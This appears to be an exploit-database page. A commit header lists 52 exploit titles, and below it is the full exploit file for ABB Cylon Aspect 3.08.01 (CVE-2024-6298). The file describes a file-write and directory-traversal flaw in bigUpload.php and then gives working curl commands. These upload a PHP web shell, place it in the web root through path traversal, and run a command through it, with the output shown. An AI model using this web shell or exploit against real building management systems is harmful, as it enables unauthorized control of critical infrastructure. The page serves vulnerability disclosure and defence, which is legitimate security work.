
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
103 lines
No EOL
5.2 KiB
Text
103 lines
No EOL
5.2 KiB
Text
# Exploit Title : ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE)
|
||
|
||
Vendor: ABB Ltd.
|
||
Product web page: https://www.global.abb
|
||
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
|
||
Firmware: <=3.08.01
|
||
|
||
Summary: ASPECT is an award-winning scalable building energy management
|
||
and control solution designed to allow users seamless access to their
|
||
building data through standard building protocols including smart devices.
|
||
|
||
Desc: The ABB BMS/BAS controller suffers from a remote code execution
|
||
vulnerability. The vulnerable uploadFile() function in bigUpload.php
|
||
improperly reads raw POST data using the php://input wrapper without
|
||
sufficient validation. This data is passed to the fwrite() function,
|
||
allowing arbitrary file writes. Combined with an improper sanitization
|
||
of file paths, this leads to directory traversal, allowing an attacker
|
||
to upload malicious files to arbitrary locations. Once a malicious file
|
||
is written to an executable directory, an authenticated attacker can
|
||
trigger the file to execute code and gain unauthorized access to the
|
||
building controller.
|
||
|
||
Tested on: GNU/Linux 3.15.10 (armv7l)
|
||
GNU/Linux 3.10.0 (x86_64)
|
||
GNU/Linux 2.6.32 (x86_64)
|
||
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
|
||
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
|
||
PHP/7.3.11
|
||
PHP/5.6.30
|
||
PHP/5.4.16
|
||
PHP/4.4.8
|
||
PHP/5.3.3
|
||
AspectFT Automation Application Server
|
||
lighttpd/1.4.32
|
||
lighttpd/1.4.18
|
||
Apache/2.2.15 (CentOS)
|
||
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
|
||
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
|
||
|
||
|
||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||
@zeroscience
|
||
|
||
|
||
Advisory ID: ZSL-2024-5828
|
||
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5828.php
|
||
CVE ID: CVE-2024-6298
|
||
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-6298
|
||
|
||
|
||
21.04.2024
|
||
|
||
--
|
||
|
||
|
||
$ cat project
|
||
|
||
P R O J E C T
|
||
|
||
.|
|
||
| |
|
||
|'| ._____
|
||
___ | | |. |' .---"|
|
||
_ .-' '-. | | .--'| || | _| |
|
||
.-'| _.| | || '-__ | | | || |
|
||
|' | |. | || | | | | || |
|
||
____| '-' ' "" '-' '-.' '` |____
|
||
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
|
||
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
|
||
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
|
||
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
|
||
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
|
||
|
||
|
||
1.
|
||
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=upload&key=251" \
|
||
> -H "Cookie: PHPSESSID=25131337" \
|
||
> -H "Content-Type: application/x-www-form-urlencoded" \
|
||
> -d "<?php\r\nif ($_GET['j']) {\r\nsystem($_GET['j']);\r\n}\r\n?>"
|
||
|
||
2.
|
||
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=upload&key=251" \
|
||
> -H "Cookie: PHPSESSID=25131337" \
|
||
> –H "Content-Type: application/x-www-form-urlencoded"
|
||
|
||
3.
|
||
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=finish" \
|
||
> -H "Cookie: PHPSESSID=25131337" \
|
||
> -H "Content-Type: application/x-www-form-urlencoded" \
|
||
> -d "key=251&name=../../../../../../../home/MIX_CMIX/htmlroot/ZSL.php"
|
||
|
||
4.
|
||
$ curl http://192.168.73.31/ZSL.php?j=id
|
||
uid=33(www-data) gid=33(www-data) groups=33(www-data) |